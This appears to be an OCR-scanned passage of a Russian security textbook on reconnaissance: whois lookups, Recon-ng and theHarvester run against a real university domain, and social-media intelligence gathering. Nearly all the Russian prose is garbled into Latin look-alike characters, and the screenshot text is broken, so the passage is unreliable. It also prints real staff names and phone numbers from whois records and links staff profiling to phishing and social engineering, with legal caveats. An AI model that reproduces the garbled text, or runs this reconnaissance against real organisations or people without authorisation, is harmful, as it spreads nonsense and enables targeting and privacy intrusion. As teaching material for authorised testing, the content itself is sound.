COBpPeMeHHbIE Gpay3epbl Y/Ke IMEIOT BCTPOEHHBIE MEXAHM3MBbI 3aIlIUThI 0T XSS, U 3TOT
3ar0JI0BOK MOJKET CUUTATHCST YCTAPEBIITIIM.

Strict-Transport-Security (HSTS). Ykasbiaer Gpaysepy, 4To BeO-CaiiT H0KEH HCIIOIb-
30BaTh TOJIbKO 3amuniennoe coequnenne HTTPS, u 3anpeniaer emy ycranasiusatb
coenuHenune yepe3 HesanuieHubii mporokon HTTP. 3arosioBok MOKeT muCosnb-
30BaThCS C MapaMeTPOM Max-age, KOTOPBIH onpeieisseT BpeMs IPUHYAUTENbHOTO
ucnosb3oBanus OpaysepoM HTTPS juist noctyna x caiiry.

whois

Cepsuc whois npezcrasisier coboil yruauty 1 6asy JaHHBIX, COAEPIKAILYI0 HHDOP-
Malliio O IOMEHHBbIX UMeHaX, [P-ajipecax u BiajierbIiax aTUX JOMEHOB U aJ/[PECOB.
Vkasannas nadopMaius 4acTo OblBaeT MyOaIMYHO JOCTYIIHA, HO HHOIIA IO, 3a-
perncTpupoBasiiiee JOMeH, TOKYIaeT YCJAYTY 110 COKPBITHIO TIePCOHATBHBIX JIAHHBIX,
7 B 3TOM CJIydae KOJTMIeCTBO ToTydyaeMoil TH(MOPMAIINH CYIIECTBEHHO COKPAIAEeTCs.

OpHnM 13 caMbIX YI0OHBIX CTIOCOB0B TIOTyYeHUsT HHGbOPMAIK U3 6a3bl JaHHBIX
whois sBsIeTCs MCTOMB30BaHIE OIHOMMEHHON YTHIMTBI, KOTOPAst IOCTYITHA BO BCEX
nuctpubyTrBax Linux, Brirouast Kali. Cpeiut mpoumx mosry4eHHBIX TAKUM CIIOCOOG0M
MAHHBIX KOHTAKTHAS WHGMOPMAIHST, PETUCTPATOP, TEXHIIECKasT KOHTAKTHAS TIEPCOHA,
azmpeca cepBePOB U MHOTOE JIPYTOE.
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IIJIH IIpUMEPa BO3bMEM /IBa /IOMEHaA 1 3alIpOCUM NMEIONIYIOCSI HH(bOpMaLIHIO n3 6a3bl
JlaHHbIX whois. B IIEPBOM CJIydae, KOT/la OpraHu3almst 1103200 THJIACH O COXpPaHHOCTHN
JaHHBIX, MbI ITOJIYUYUM MaJio I/IH(l)OpMaHI/II/II

$ whois uni-1j.si
% This is ARNES whois database

domain:
registrar:

registrar-url:

nameserver:
nameserver:
nameserver:
registrant:
status:
created:
expire:
source:

Domain holder:

NOT DISCLOSED

Tech:
NOT DISCLOSED

uni-1j.si
Arnes

http://www.arnes.si/storitve/splet-posta-strezniki/

registracija-si-domene.html
dnsl.uni-1j.si (193.2.1.90,2001:1470:8000
dns2.uni-1j.si (193.2.1.89,2001:1470:8000
dns3.uni-1j.si (193.2.1.94,2001:1470:8000
G39085

ok

1992-11-23

2023-06-06

ARNES

A BOT BO BTOPOM OTBET OyyT O0JIee pasBEPHYTHIM:

$ whois stepan-hutnik.cz
% (c) 2006-2021 CZ.NIC, z.s.p.o.

%

% Intended use of supplied data and information
% Whoisd Server Version: 3.12.2

domain:
registrant:
admin-c:
nsset:
registrar:
registered:
changed:
expire:

contact:
org:

name:
address:
address:
address:
address:
registrar:
created:
changed:

stepan-hutnik.cz
PROFIWH-STEPAN-HUTNIK
PROFIWH-STEPAN-HUTNIK
NSS : PROFIWH
REG-WINSOFT
15.02.2011 11:20:30
20.03.2017 12:50:36
15.02.2024

PROFIWH-STEPAN-HUTNIK
Stepan Hutnik s.r.o.
Stepan Hutnik
Budisovska 908

Vitkov

74901

Ccz

REG-WINSOFT
11.02.2017 07:06:33
15.05.2018 21:32:00

::90)
::89)
::94)



nsset:
nserver:
nserver:
nserver:
nserver:
tech-c:
registrar:
created:
changed:

contact:
org:

name:
address:
address:
address:
address:
registrar:
created:
changed:

MaccmBHbINA C60p AAHHBIX

NSS : PROFIWH

ns.profiwh.info

ns.profiwh.net

ns.profiwh.cz (31.31.75.42, 2a02:2b88:2:1::39¢c2:1)
ns.profiwh.com

SB:PROFIWH

REG-WINSOFT

28.02.2008 16:38:20

31.03.2015 23:44:12

SB:PROFIWH
ProfiHOSTING s.r.o.
Tomas Vrbicky
Brnenska 412/59
Olomouc-Slavonin
78301

cz

REG-WINSOFT
09.05.2005 15:55:00
20.03.2019 21:19:08

83

IMompobyem mosryunth 4To-T0 O0sIee nHTepecHoe. Kak yske ObLI0 CKazaHo, HEKOTOPbIe
PErucTpaToOpbl IOMEHHBIX UMEH TIPEJIOCTABJISAIOT YCIYTY 110 COKPBITUIO EPCOHATBHBIX
JAHHBIX. A HaM OYeHb XOUETCS MOJYUYNTDh XOTh KaKyo-To nHpopmarmio. Bocmoss-
3yeMcsI elre OHO# BO3MOKHOCThI0 Whois — monmydyenuem manmbix 06 [P-ampecax.
Ha nipeapiymieM mare Mbl y3HAJIH, 9TO st 0OCTYKUBAHMS JoMeHa uni-lj.si mc-
nosib3ytorcest DNS-cepepsl, umeroriue caeyionie [P-aapeca: 193.2.1.90, 193.2.1.89,
193.2.1.94. TTonpobyem 3anpocuth nHGOPMAIMIO 06 OTHOM U3 HUX:

$ whois 193.2.1.90
% This is the RIPE Database query service.
% Abuse contact for '193.2.1.0 - 193.2.1.255' is 'abuse@arnes.si'

inetnum:
netname:
descr:
descr:
descr:
descr:
country:
admin-c:
tech-c:
status:
mnt-by:
mnt-lower:
mnt-routes:
mnt-irt:
created:

last-modified:

source:

person:

193.2.1.0 - 193.2.1.255
ARNES-NET

Academic and Research Network of Slovenia
Ljubljana

Slovenia

ARNES-ID 64

SI

MB281

AJ-RIPE

ASSIGNED PA

ARNES-MNT

ARNES-MNT

ARNES-MNT

IRT-SI-CERT
1970-01-01T00:00:00Z
2003-12-22T16:48:2172
RIPE

Avgust Jauk
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address: ARNES

address: Tehnoloski park 18
address: SI-1000 Ljubljana
address: Slovenia

phone: +386 1 4798800
fax-no: +386 1 4798899
nic-hdl: AJ-RIPE

mnt-by: ARNES-MNT

created: 1970-01-01T00:00:00Z
last-modified: 2017-10-30T21:45:03Z
source: RIPE # Filtered
person: Marko Bonac

address: ARNES

address: Tehnoloski park 18
address: SI-1000 Ljubljana
address: Slovenia

phone: +386 1 4798800
fax-no: +386 1 4798899
nic-hdl: MB281

mnt-by: ARNES-MNT

created: 1970-01-01T00:00:007Z
last-modified: 2017-10-30T21:45:03Z
source: RIPE # Filtered

% Information related to '193.2.0.0/16AS2107'

route: 193.2.0.0/16

descr: ARNES provider block
descr: Academic and Research Network of Slovenia
descr: Ljubljana

descr: Slovenia

origin: AS2107

mnt-lower: AS2107-MNT
mnt-routes: AS2107-MNT

mnt-by: AS2107-MNT

created: 1970-01-01T00:00:007Z
last-modified: 2008-02-07T13:35:37Z
source: RIPE

% This query was served by the RIPE Database Query Service version 1.106 (BUSA)

Hecmorps Ha 1OTIBITKY COKPBITHS MH(MOPMAIIMKY TPU PETUCTPAIIMN IOMEHA, MBI B pe-
3yJIbTaTe MOJIYYUJIN I0CTATOYHO MHOTO JJAHHBIX, BKJIIOUAs I€PCOHATIBHbBIC, KOTOPbIC
MOTYT CTaTh XOPOIIeH OTIIPaBHON TOUKOH /IS JaJIbHEUINero MpoBe/ieHNs ayAnTa.

Recon-ng

Recon-ng — oTKpbITHII GpelMBOPK /ist chopa nHOOPMAIIUKT 13 BeO-IPUIOKEH I
u cereil. OH TIPeIOCTABIISIET ITUPOKUIA CIIEKTP MHCTPYMEHTOB JIJIsl TIOJIyUEHUST JIaH-
HBIX, aHAJIN3a YSI3BUMOCTEN U TECTUPOBAHUS HA TIPOHUKHOBEHME.
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Recon-ng ucmons3yeT MOy IbHYIO apXUTEKTYPY, UTO TO3BOJISIET JIETKO T00ABIISTH
HOBbBIE MOZLYJIM JIJIS1 PaclIupeHus (PyHKIIMOHAIbHOCTH. YTUIUTA COJAEPKUT MHOXKE-
CTBO BCTPOEHHDBIX MOJIYJI€eN jiuist cO0pa nHGOPMAINY U3 PA3JUYHBIX HCTOYHUKOB,
TaKMX KaK COIMAIbHBIE CETH, TOYTOBbIE cepBUCchl, DNS-cepBepbl, TOMCKOBbIE cHCTe-
MBI 1 T. 7. OHa Tak’ke MO/IePsKUBAET aBTOMATHUECKOE BBIIIOJTHEHNE CKPUIITOB JIJIST
ABTOMATH3AINHY TIPoIiecca c60pa MHGOPMAIINN U TECTHPOBAHIS Ha TPOHNKHOBEHE.

ITo ymomuanuio Recon-ng y:xe ycranosien B Kali Linux, u jiuist ero 3amycka gocra-
TOYHO BBITIOJHUTH KOMaH/y recon-ng (puc. 3.43).

- | itsechooki@kali: ~ 0
File Actions Edit View Help

1i)-[~]

Sponscred by ...

L*#] Mo modules enabled/installed.

[recon-ng][default] = []

Puc. 3.43. NepB.biii 3anyck Recon-ng

s mosyuenus GoJiee noapobHOil nHMGOpMalK 0 paboTe JaHHOI YTHIUTHI BOC-
MOJB3yUTeCh KOMaH/ION help.

HepezI Ha4da/JIoM pa6OTbI PEKOMEHAYETCA CO3/1aBaTh AJIA KaKOTO ITPOEKTa TaK Ha-
3bIBa€MOe€ pa6o‘{ee I1oJ1e Workspace. ITO MMOMOKET BaM CTPYKTYPHUPOBaTh /laHHbIE
" BIIOCJIEJICTBUU CAEJIACT JOCTYII K HUM 6I)ICTpI)IM n leO6HbIM.

ITpu moMory KoMaHbl workspaces create co3gainM HOBoe pabouee ToJie ¢ Ha3Ba-
HueM univeristy (puc. 3.44).

Bb1 Beeria cmozkeTe BEPHYTHCS K pa60Te Ha/{ Ha4aTbIM IIPOEKTOM, UCTIOJIb3Ys KOMaH-
Iy recon-ng -w university.

Jliist masbHEHIero UCIoIb30BaHUST TaHHOM YTUIUTBI HAM HEOOXOMMO YCTaHOBHUTh
Moy . MozyJieil cylecTByeT MHOKECTBO, U BbI CAMU BBIOMPAeTe Te, KOTOphIe BaM
HEeOoOXOIMMBI 7t pabOTHI HaJl KOHKPETHBIM MTPOEKTOM. Bce MOyin pasjiesieHbl Ha
HeckoJIbKo rpymir: discovery, explotation, import, recon, reporting. [[jist UX yCTaHOBKH
BOCIIOJIb3yHTech MarasuHoM MojyJeit Recon-ng. /[yt moncka MojiyJieil ectb KomaHia
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marketplace search. ITonpoGyem, Hanpumep, HaliTi MoLyJIu st paboTsl ¢ github
(puc. 3.45).

= itsecbook@kaliz ~ 00
File Actlons Edit View Help

[*] Version check disabled.

Sponsorcd by ...

\/ S \
L HTLLS W AN

e . b‘l.au:kh].'L'L:-in{.{::.cL .com

/1 kil I b
| Ll L il

ww .practisec.com

[recon nglldefault] > workspaces create univerity
[recon-ng][u rity]

" ] itsechook@kali: ~ [ [%]
File Actions Edit View Help

wwi . blackhillsinfosec.com

JHE==T) [
11 2]
wwi .practisec.com

{

[+] No modules enabled/installed.

[recon-ng][defau > market

version | Status | updated

recon/companies-mult

installed 2020-85-15
T /profiles-contacts/github_users d

2019-06-24

installed | 2020-05-15
installed | 2019-@
installed | 2019-@

repositories/
es-profile
recon/repositories-vulneral

L
|
on/profiles-profiles/profiler | 1. installed | 2019-10-16
: 1
k=1
151

Has dependencies. See info for details.
Requires k ee info for details.

[recon-ng][default] > i

Puc. 3.45. MNMouck Moaynei anst paboThbl B github

Ecom BBl 3amycTute a1y KoMany 6€3 JAOMOTHUTEILHBIX TAPAMETPOB, TO MOJTyYHUTe
TTOJTHBIN CITUCOK BCEX JIOCTYITHBIX MOy JIEH.

Hanporus nassanus MozyJieii ectb ase 6ykbl — D u K. 3Be3/iouka B 11epBoii KOJOH-
Ke 03HAYAET, YTO JIAHHBIH MOJIYJIb 3aBUCUM OT IPYTUX KOMIIOHEHTOB, & BO BTOPON —
4TO 717151 PaBOTHI ¢ HTUM MOyJIeM HyxkeH Kitod API. Kirfoun 1jist HEKOTOPBIX MOJLYJIe
MOJTy9aioT GECTIIIATHO, XOTSI CYIIECTBYIOT, KaK BbI YK€ MOHSIIN, U MIJIATHBIE MOJIYJIH.
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Jlnst mostyderust 6osiee OAPOGHOM MHMOPMAIIK O MOYJIe UCIIOJIb3YHTe KOMaH-
ny marketplace info. /laBaiite mompoOyeM mocMOTpeTh HHMOPMAILINIO O MOy e
google_site_web (puc. 3.46).

= ilarr bk kali; - RIS -]
File Actions Edit View Help

+

[recaon-ng][default] > marketplace info recon/domains-hosts/google_site _web

path

name
author

ts hosts from Google.com by using the *site’ search operator. Updates the ‘hosts’ table with the results.

1
not installed

[recon-nglldefaule] > [

Puc. 3.46. NHdopmaumsa o Mmoayne google_site_ web

Kax BuHO U3 onmcaHuist, JaHHBII MOJIYJIb OCYIIIECTRIIsET monck B Google ¢ ucmon-
30BaHMEM orepaTopa site, M /711 €ro yCTaHOBKY HaM He Hy:keH ko4 APL.

IMonpobyem YCTaHOBUTbH MOAYJIb hackertarget mpu oMoy KoMan/bl marketplace
install.

Jl1s1 3arpysKu MOZLYJISI HEOOXOIMMO BBIIIOJHUTh KOMaHAy module load, mocie sToro
BbI CMOKETE IIOCMOTPETh GoJiee oAPOOHYIO HH(POPMAIIUIO O MOZYJIE 1 apaMeTpax
JUIST €r0 UCIIOJIb30BAHUSI IIPU TIOMOIIM KOMaH/ bl info (puc. 3.47).

= itsexbouk@hali: ~ Bl <]
File Actions Edit View Help

[recon ng]l[univerity] > marketplace install hackertarget
Module installed: recon/domains-hosts/hackertarget
! Reloading modules ...
[recon-ng1luniverity] > module load hackertarget

[recon-nglluniverity] > modules load hackertarget
[recon-ng][univerity][hackertarger] > info

Name: HackerTarget Lookup
Author: Michael Henriksen (@michenriksen)
Version: 1.1

Description:
Uses the HackerTarget.com API to [ind host names. Updates the ‘hosts' table with the results.

OpLions:
Name current Value Reguired Description

SOURCE  default yes source of input (see “infn" for details)

Source Options:
default SELECT DISTINCT domain FROM domains WHERE domain IS NOT NULL
<string> string representing a single input
<path> path to a file containing a list of inputs
query <sql=> database query returning one column of inputs

[recon-ng1funiverity1Thackertarget] > |

Puc. 3.47. YcraHoBka Moayns hackertarget n nonyyeHme nHdopmaumm o napameTpax
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[Tocsie TOro Kak Mbl YCTAaHOBHJIM HEOOXOMMBbINA MOJYJIb ¥ TIOJTYYIIN WH(MOPMAIIIO
0 IapaMeTpax 3alrycka, mopodyeM ysHaTh OoJIbliie 0 JoMeHe uni-lj.si. [l atoro He-
06X0IUMO 33/1aTh rnapamMeTp KoMaH/ioil options set SOURCE uni-1j.si u3ammycTuTb
MOMCK KOMaHIoH run (puc. 3.48).

- | itsecbook@kali: ~
File Actions Edit View Help

[recon-ng]l[univerity]l[hackertarget] > options set SOURCE uni-1j.si
SOURCE — uni-l1j.si
[recon-ng][univerity][hackertarget] > run

UNI-L].S5I

Country: None

Host: uni-l1j.si
Ip_Address: 193.2.64.220
Latitude: None
Longitude: None

Notes: None

Region: None

Country: None

Host: vzporednistudis.fu.uni-1j.si
Ip_Address: 141.255.219.18
Latitude: None

Longitude: None

Notes: None

Region: None

Country: None

Host: dell&@cfel.bfl.uni-1j.si
Ip_Address: 88.200.26.8
Latitude: None

Longitude: None

Notes: None

Region: None

Country: None

Host: ucilnica2223.teof.uni-1j.si
Ip_Address: 88.200.39.33
Lalitude: Nune

Longitude: None

Notes: None

Region: None

Country: None

Host: u9@8532@.uni-1j.si
Ip_Address: 193.2.65.76
Lalilude: Nune
Longitude: None

Notes: None

Region: None

Puc. 3.48. NHdopmaumst o gomeHe uni-lj.si

Mbr cobpastit HHGOPMAITIIO 0 XOCTaX, KOTOPbIe TPUHAIEKAT YKA3AHHOMY TOMEHY,
MompoOyeM TTIPOCMOTPETH ee B Gosiee yIOOHOM BHUJE C TTOMOTIHI0 KOMAHIBI show
(puc. 3.49).
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= Itsechaak@lnlk - )
File Actions Edit View Help

[recon-ng][univerity][hackertarget] > shaw hosts

I region | country | latitude | longitude | notes |

j.si L3014
bi-ucerkvenik-nb.bfl.uni-1j.%i .208.26.1459
sta.mf.uni-1j.si 3
3.bf.uni-1

Puc. 3.49. Pe3ynbTaT BbINOMHEHNS KOMaHAbl show hosts

C6op nHdOpMaumMmn 0 NoNb30BaTENSAX

CBoIo 11eJTh HAJIO 3HATD B JIUTIO B OYKBAIBHOM U TIEPEHOCHOM CMBICTE cI0Ba. Eciri Bobr
HAIILJIU CIIUCOK COTPYAHUKOB JAHHON KOMIIAHUM, TO GY/IeT MOJIE€3HBIM cOOpaTh 0 HUX
KakK MOKHO GoJrbitie uHopmarmu. Yacto 6bIBaeT, 4To K KOMIPOMETAIUI OPraHu3a-
11U, KOTOPYIO MBI IIBITaeMCSI B3JIOMaTh, IPUBOJIUT B3JIOM pecypca, He UMelolllero,
Ka3aJ0Cch Obl, HUKAKOTO K Hell OTHOIIeHUsT. TAK0e BO3MOKHO, ECJTH COTPYAHUKHU HC-
MOJIB3YIOT OAHU U T€ K€ TMapOu /I OCTYyTa K Pa3IMIHBIM CUCTEMAaM.

[Mosryyenue 1oapoGHOIT MHGOPMALIUE O II0JIb30BATEIAX IIOMOKET OoJiee a(pHEKTUBHO
MIPOBO/IUTD ATAKHU TI0 TUITY COITUATIBHON NHXXEHEePUH, CO3/IaBaTh (DUITUHTOBBIE THChMA
WJIH, KaK ysKe OBLIO CKa3aHo, [10JIydYaTh IIapoJIH.

Opanako y4ure, 4TO Bac Bcer/la OrpaHUYMBAIOT PAMKM 3aKOHA U YCJIOBUS JIOTOBOPA.
EcJiu BBI IPOBOAUTE TECT, KOTOPbIi HE BKJIOYAET B ce0sl TECTUPOBAHKE COTPYAHUKOB
METO/IOM COIMAJIbHOM NHKEHEPUH, TO He CJIe/lyeT IIbITaThCsl IPUMEHUTD 3TOT METO/L.
YuuTbiBaiite, 4TO TIEPCOHATIBHBIE IAHHDIE JTIOOOTO YETOBEKA OXPAHSIIOTCS] 3aKOHOM
1 TIOJTy4eHre K HUM HeCaHKITMOHUPOBAHHOTO JIOCTYTIA SIBJSIETCS ITPABOHAPYIIIEHUEM.

Bcerna otnocurecs K COTPY/IHUKaM KOMIIaHNUM HE KaK K O6’bCKTy JOCTHUIKEHUMA 1EJIN,
a Kak K J1o15M. BaM HUKOrIa He ITOCTaBsIT 3a/la4y YBOJIUTDH OITPEAECJICHHOI'O YeJI0BE-
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Ka 3a Hecoboenve monuTukn VB, mostomy 6y/sTe 0CTOPOSKHBI TPH MTPOBEIEHITH

AyJINTOB U HAllUCAaHUMN OTYETOB.

Co6op agpecoB 2a€KTPOHHOM MOYThI. /19 aBToMaTu3anuyu c6opa 6asbl JaHHBIX
AJ[PECOB BIEKTPOHHON MOUTHI KOHKPETHOTO JIOMEHA ObIJTa CO3/IaHa XOPOIIiast YTUJINATA,
Bxozgmas B cocras Kali Linux, — theHarvester. C ee nomoiibio coOMpaioTcs Takue
naHHble, Kak IP-anpeca, cyb1oMeHbl, TI0UTOBBIE aapeca. HaiigeM, HaripuMep, ouTo-
BbI€ aJipeca, HaxoAsiimecs B gomene uni-lj.si. Ilepex samyckom HeoOX0AUMO yKa3aTh
JIOMEH, UCITOJIb3YsT TapaMeTp -d, 1 MCTOUHUK JIJIsT TIPOBEIEHUST TIONCKA, UCTIOJIb3YST

napameTp -p, B HaleM caydae Bing.

$theHarvester -d uni-1j.si -b bing

Pesyuibr nokasan na puc. 3.50.

- | Itsecbook@kalk: ~
File Actions Edit View Help

[—(itse:book@ikali]—[-v]

% thellarvester -d uni-lj.si -b bing
L T Ty
*

e Pl
L | b=l |
I Av/ _A_NTT /1|
I b AR ORI | EEER A |

— A
O A Al | //_V
=7y e et S
] G\ e S e

theHarvester 4.2.98

Coded by Christian Martorella
Edge-Securily Research
cmartorellagedge-security.com

*
*
A
*
*
*
*
*
*

% % F k% % > b N

et e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e de e e e e e e e de de e de ek e de e e de e dede e ek
[*] Target: uni-1j.s1

An cxception has occurred: Response payload is not completed
Searching 8 results.
[*] searching Bing.

[*] No IPs found.

pf f.uni-1j.si
enovicgctk.uni-1j.s1

% s.uni lj.s1
anat@fpp.uni-
uni-1j.

rft.uni-1j.si
bl .uni-1j.s5i

Puc. 3.50. Pe3ynbtaT cbopa agpecos
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PaboTa ¢ coumanbHbIMK CETAMU

CoBpeMeHHBI MUP IIPAKTUYECKH HEBO3MOKHO IIPEACTABUTH O€3 COLUAIbHBIX Ce-
teil. OHM TECHO BILIEJIMCH B HAILY XKU3Hb, U MPAKTHUECKH KaXKIbIN TOJTH30BATEH
WHTEpHETa UMEET CBOI PO UIb B OHOUN MM HECKOJBKUX TaKux ceTsx. Jlioan
IIXPOKO UCIIOAB3YIOT COLUAIBHBIE CETH [JIsI OOIIEHMUs], IIOKYIIOK, UTP, IIOMCKA WK
pasmenienus nndopmaru. Facebook, VK, Twitter, LinkedIn u apyrue cetu cramu
HEOTHEMJIEMOU YaCThIO KM3HU MUJLINOHOB. COTJIACHO CTATUCTUYECKUM JaHHBIM,
KOJIMYECTBO JIojieil Ha maaHere 3eMsd NPUOIMKAeTCs K BOChMU MUJLIMAPAAM, U3
HUX [IPUMEPHO Y TIOJIOBUHBI €CTD JAOCTYII K CETH UHTEPHET, U IIPUMepHO y 95 % u3
HUX CYIIECTBYET IPOMUIb XOTsI Obl B OZHON U3 COIMAIBHBIX CETEN.

Takue ceTu npejCcTaBIsAoT JOCTATOYHO OOJIBIION HHTEepeC Ha aTare cOopa JaHHbIX.
W3 HUX BBI MOJKETE TIOUYEPITHYTh MHOTO MHTEPECHOI MH(MOPMAIUN: JIMIHBIE TAHHbIE,
MOJTUTUIECKNE B3TJISIIbI, STHUIECKYTO TTPUHA/JIEKHOCTD, MECTO TIPOKUBAHMUS, Ce-
MEWHBII COCTaB, yBIeYEHUS U T. /. [10 TaHHBIM HEKOTOPBIX MCCJIeI0BATENEl, OKOJIO
90 % nennoit nu(opMaI 0 YeJ0BeKe OHNU HAXOSAT UMEHHO B COIIMAJIBHBIX CETSIX,
octasbHbie 10 % MaHHBIX MOCTYTIAET U3 IPYTUX HCTOUHUKOB.

CormacHo ctatucTuke (statista.com), Ha JaHHBIIT MOMEHT CAMBIMW TIOMTYJISIPHBIMU
B coluasbHOM ob1iernu apJstorces Facebook, YouTube u Whatsapp.

Facebook 32,958
YouTube ;
WhatsApp*
Instagram

WeChat

TikTok

Facebook Messenger
Douyin**

Telegram

Snapchat

Puc. 3.51. [lecsiTb CaMbIX MOMNY/SIPHbIX CAUTOB COLIMANBLHOIO OBLLEHNS MO AAHHbBIM
statista.com Ha 2023 roa (KOMMYECTBO aKTUBHbIX MOJIb30BATEsNEN YKA3aHO B MUJIMOHAX)

CouunanbHasg aHanNUTUKA

Jlist o603HaueHMs TIpotiecca cbopa JaHHBIX U TTOJTydeHust HH(POPMAIUU U3 COIHU-
anbHbIX ceteil ObLT puayMan akporuM SOCMINT (Social Media INTelligence
gathering). ITox JaHHBIM TIPOIIECCOM TOHUMAIOT cGOP 060N 06MIEN0CTYITHO MH-
dbopmaru U3 coluaIbHbIX CeTeli — 9TO U MepCOHANIbHbIE IaHHbIe, 1 (oTorpadu,
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1 BUJIEO, ¥ BCE TO, YTO IOCTYITHO MINPOKOMY KPYTY TToJib3oBaTesieil. JlanHsle, 10cTym-
HbIE B COIUAIBHBIX CETSIX, MOTYT OBITh OTKPBITHIMI JIJIs1 001IIET0 ocTyTa (Kak 001ie-
pocrymubie ocTbl Ha Facebook) mum smmms tst wactroro ncnosboBanust. Jloctyi
K 3aKPBITBIM JIAHHBIM, [TPeTHa3HAYeHHBIM TOJBKO JIJIS1 YACTHOTO MCIIOJIb30BAHMUS, BBI
MOJKETE ITOJYYUTD TOJIBKO C Pa3pelleHus 10ab30BaTe L.

B npodeccronanbHoi cpele 0 CUX MO He YTUXAIOT CHOPbI O TOM, SIBJISIETCST JIN
SOCMINT wactbio OSINT, Bezib 7151 1OCTYIIA KO MHOTUM MaTepraiaM HeoOXOIMMO
MPONTH aBTOPHU3AINIO, 3HAYUT, MHMOOPMAIIHS HE COBCEM OTKPBITA; MBI ITPEIOCTABUM
pemaTh 310 Tpodeccronanam B cepe OSINT.

Tunbl coumanbHbIX AaHHbIX

ITomumo ITPOCMOTPa KOHTEHTA, JIIOJIN aKTUBHO MCIIOJIb3YIOT COIlMAaJbHbIE CETH [1JIs1
MHOTUX APYTUX ueﬂeﬁ, OCHOBHBIE TUIIBI B3aUMO/IENCTBUI XOpOoHIO BCEM M3BECTHDI.

e Hanucanue NocToB WK KOMMEHTaApHeEB. ITonb3oBaTeu yacTo HCIIOJIb3YIOT CO-
IMaJIbHbI€ CE€TU /IJI HallMCaHHWA ITIOCTOB Ha OIIpe/ZeJIEHHbIE TEMbI, KOTOPbIE CTa-
HOBATCS BUJIHBI, YTO BayKHO, JAIPYTUM I1OJIb30BATEJISIM. EHIG O/I[Ha 3aMeYdaTeJibHasA
(pYHKLII/IH COlMaJIbHBIX ceTeil — BO3MOKHOCTD OCTaBJISITh KOMMEHTapuu K IIOCTaM
MJIN UCIIOJIb30BaThb UX JIJIA O6H_l€HI/I$E[ C IPYT'UMU 110JIb30BATEJIAAMU.

® OTBETHI, HCIOJIb3YIOIUECS VISl OOLIEHHSI C [PYTUMHU NOJIb30BaTe s IMU. MoryT
IPEACTABJIATH cO00il KaK TEKCTOBYIO MH(MOPMAILINIO, TaK U M300pakKeHUsl UK
BUIEO.

o IIpencraBieHue MyJbTHMEAUAHOTO KOHTEHTA. [10J1b3yeTCst OOJIBIION IOy JISIP-
HOCTBIO; TIOJTb30BATETb MOKET 3aTPYysKaTh BUIEO, N300PAKEHUS WJIH ayAU0MAIIIBL.
ConnasibHble ceTH 00BIYHO MO3BOJISIIOT (POPMHUPOBATH aJTbOOMBI, COCTOSIIIIE U3
TaKKX (PailyioB, a MHOTHE U3 HUX — BECTHU IIPSIMbIE TPAHCJIAIMH, COXPAHSISA UX LIS
MOCJIE/LYIOTIET0 TPOCMOTPA.

e CounaibHble B3aUMOJEICTBIA. DTO CYTh COIMANBHBIX CeTell, MoIb30BaTen
MOTYT B3aMMOJIEHCTBOBATE IPYT C IPYTOM, OCTABJISISI OTMETKH «HPABUTCST», 00-
MEHHMBASICh TEKCTOBBIMU COOBIIEHUSAMI, O0BEIMHSSICH B TPYIITILI IO MHTEPECaM
1 T. 7. YacTo B3anMOIeiiCTBIE TIPOUCXO/HT C JIPY3bsIMHE, KOJLIETaM1 TI0 paboTe
u yuebe, CoCce/ISIMU TT0 KOMHATE U YJIEHAMU CEMBL.

e OO6pa3soBanne MeTaJaHHbIX (PE3YJIBTATOB CYMMbI B3aUMO/IEHCTBUN MOJB30-
Bartesiell ¢ conuaabHoi Tmardopmoit). K TakuM JaHHBIM MOKHO OTHECTU ATy
U BpeMst, KOT/la BUIEO WU H300paskeHe ObLIO 3aTPY/KEHO, IaTy 1 BPeMs, KOT/a
ObLII IIPUHSAT 3APOC Ha I00aBJIeHNe B IPY3bsl, /IAHHbIE T€OJIOKAIMH 3arpysKeHHOf
(ororpacdum nnm 3anucu, a Takyke TUI yCTPOWCTBA.

Bce 511 1TaHHbBIe MOTYT TIPEICTABISATD OTPOMHYTO TIEHHOCTD JIJIst MiccieoBanms. Tax,
HaIpuMep, 3Hask UMs OJTHOTO COTPYAHWKA, MOKHO HAUTH JAHHBIE O €r0 KOJIJIETaX.
Wiu, kak yacto ObiBaet, Haiitu ororpaduu, caeannbie Ha pabodyeM MecTe, YTOObI
MOJIYYUTHh UHOOPMAIUIO 0 MeTO/IaX (DM3UUECKON MJIN MPOTPAMMHON 3aIUThI, KC-
MOJIb3YEMBIX Ha KOHKPETHOM ITPE/ITPUSITUH.
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Knaccudumkaums coumanbHbIX ceTemn

TepMI/IHbI «COIMaJIbHBIE CETU» U «COIMaJIbHbIE MeJa» 4YaCTO UCIOJIb3YIOTCA IJId
obosHauenust Takux pecypcos, kak VK, Facebook, Twitter, LinkedIn u cBsizannbix
C HUMM COTMaNbHBIX mmaTdopm. Hembss ckazaTh, 9TO 9TO HEKOPPEKTHO, HO CTOUT
IIOMHUTD O TOM, UYTO «COITMAJIbHbBIC CETU» ABJIAIOTCA JINIITH OZIHOI>'I 13 I'pyI1Il, 06'1)6211/1-
HEHHDBIX IIOHSTHEM «COLMAIbHbIE Meyar. Huske Mbl paccMOTPUM OCHOBHbIE TPYIIIIBI,
HOJIIa A0 UE TI0/I IIOHATHE <«COLMAJIbHBIE ME/Ia».

Doro. Takne caliThl TpeAHAZHAUEHDT /71T 0OOMeHa GOTOTpahUsIMU MEKITY TOTD-
soBaresssmu. Hanbouiee nonyJisipabivu sipsisitorest Instagram u Flicker.

Buzeo. Caiitbl peiHazHadeHbl /i1 0OMEHa BUIE0, BKIIIOYAs PSAMBbIE BUICOTPaH-
castiuu. Cambiii omrysisipabiii — YouTube.com. DynKkIimio oOMeHa MyJIbruMe-
JMIHBIM KOHTEHTOM Takske roepsxusaior Facebook u VK. OxHako cobcTBEeHHO
cailTel 0OOMeHa BUIEO MPEIHAZHAYEHBI JIsT 0OMEHA NCKJIFOUUTETbHO BUACOKOH-
TEHTOM U TIO/[Pa3yMeBaIOT OCTATOYHO OTPAHMUYEHHYIO BO3MOKHOCTH OOMeHa
JAPYTUMU JJAHHBIMU (B OCHOBHOM OIIMCAHUSAMU BHU/IC0 U KOMMEHTAPUSAMU K HUM ).

Baor. Tun undopMaiinoHHOTro Beb-calita, coepsKaIlero Habop TeKCTOB, OT-
HOCSIIIIUXCST K O/THOW TeMe MJIM OJTHOMY TIPe/IMETY, OPTaHU30BAHHBIX B TIOPSI/IKE
yOBIBaHMUST MJIW BO3PACTAHUS B COOTBETCTBUH € AaToi mybmukarin. CaMbIMU MO~
MyJIAPHBIMH TTaThOpMaMu 715t BeieHust 610roB siBiistiorcst Word Press u Blogger.

